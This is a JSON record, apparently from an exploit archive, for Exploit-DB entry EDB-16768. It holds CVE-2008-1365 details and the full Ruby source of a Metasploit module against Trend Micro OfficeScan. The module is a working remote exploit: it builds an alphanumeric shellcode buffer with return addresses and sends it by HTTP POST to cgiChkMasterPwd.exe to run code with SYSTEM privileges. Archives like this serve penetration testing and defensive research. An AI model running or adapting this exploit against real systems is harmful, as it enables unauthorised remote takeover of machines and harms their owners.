{"exploit":{"id":"EDB-16768","name":"Trend Micro OfficeScan - Remote Stack Buffer Overflow (Metasploit)","description":"Trend Micro OfficeScan - Remote Stack Buffer Overflow (Metasploit)","cves":["CVE-2008-1365"],"author":"Metasploit","published":"2010-05-09","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16768","path":"exploits/windows/remote/16768.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16768.rb","vulnerabilities":[{"id":"CVE-2008-1365","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Trend Micro OfficeScan Corporate Edition 8.0 Patch 2 build 1189 and earlier, and 7.3 Patch 3 build 1314 and earlier, allows remote attackers to execute arbitrary code or cause a denial of service (crash) via a long encrypted password, which triggers the overflow in (1) cgiChkMasterPwd.exe, (2) policyserver.exe as reachable through cgiABLogon.exe, and other vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-1365","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-1365"},"updatedAt":"2024-08-07T08:17:34.609Z","retrievedAt":"2026-11-27T00:11:21.982Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16768.png?v=2","url":"https://exploitbin.com/exploits/EDB-16768","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16768/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16768/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: trendmicro_officescan.rb 9262 2010-05-09 17:45:00Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'metasm'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Trend Micro OfficeScan Remote Stack Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in Trend Micro OfficeScan\n\t\t\t\tcgiChkMasterPwd.exe (running with SYSTEM privileges).\n\t\t\t},\n\t\t\t'Author'         => [ 'toto' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9262 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-1365' ],\n\t\t\t\t\t[ 'OSVDB', '42499' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'MinNops'  => 0,\n\t\t\t\t\t'MaxNops'  => 0,\n\t\t\t\t\t'Space'    => 498,\n\t\t\t\t\t'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),\n\t\t\t\t\t# clean up to prevent crash on exit\n\t\t\t\t\t'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, \"mov dword ptr fs:[0], 0\").encode_string,\n\t\t\t\t\t'EncoderOptions' =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'BufferRegister' => 'ECX',\n\t\t\t\t\t\t},\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# return addresses need to be alphanumeric (here in loadhttp data section)\n\t\t\t\t\t[ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Jun 28 2007',\n\t\t\t'DefaultTarget' => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(8080),\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tgeip_src = \"\n\t\t\tpush esi\n\t\t\tpush esp\n\t\t\tpop eax\n\t\t\txor esi, [eax]\n\t\t\tpush esi\n\t\t\tpop eax\n\t\t\txor eax, got_eip\n\t\t\tpush eax\n\t\t\tpop ecx\n\t\t\tgot_eip:\n\t\t\"\n\n\t\tsc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)\n\n\t\tsc.base_addr = target['Rets'][0]\n\t\tget_eip = sc.encode_string\n\n\t\tpat = Rex::Text.rand_text_alphanumeric(1016)\n\n\t\tpat[0, get_eip.length] = get_eip\n\t\tpat[14, payload.encoded.length] = payload.encoded\n\t\tpat[512, 4] = [target['Rets'][1]].pack('V')    # string pointer (to prevent a crash)\n\t\tpat[524, 4] = [target['Rets'][0]].pack('V')    # sets EIP to the address where the shellcode has been copied\n\t\tpat[540, 4] = [target['Rets'][0]-1].pack('V')  # shellcode will be copied at this address (+1)\n\n\t\tdata = \"TMlogonEncrypted=!CRYPT!\" + pat\n\t\tlen = sprintf(\"%u\", data.length);\n\n\t\tprint_status(\"Trying target address 0x%.8x...\" % target['Rets'][0])\n\n\t\tres = send_request_cgi({\n\t\t\t'uri'          => '/officescan/console/cgi/cgiChkMasterPwd.exe',\n\t\t\t'method'       => 'POST',\n\t\t\t'content-type' => 'application/x-www-form-urlencoded',\n\t\t\t'data'         => data,\n\t\t}, 5)\n\n\t\thandler\n\tend\n\nend","sha256":"7847990eb514a506f3b5aa5d874b334dace366f53a41114ecb57c2dd53327f70","bytes":2967,"fetchedAt":"2026-11-27T10:10:12.630Z","encoding":"utf-8 (display only; download retains original bytes)"}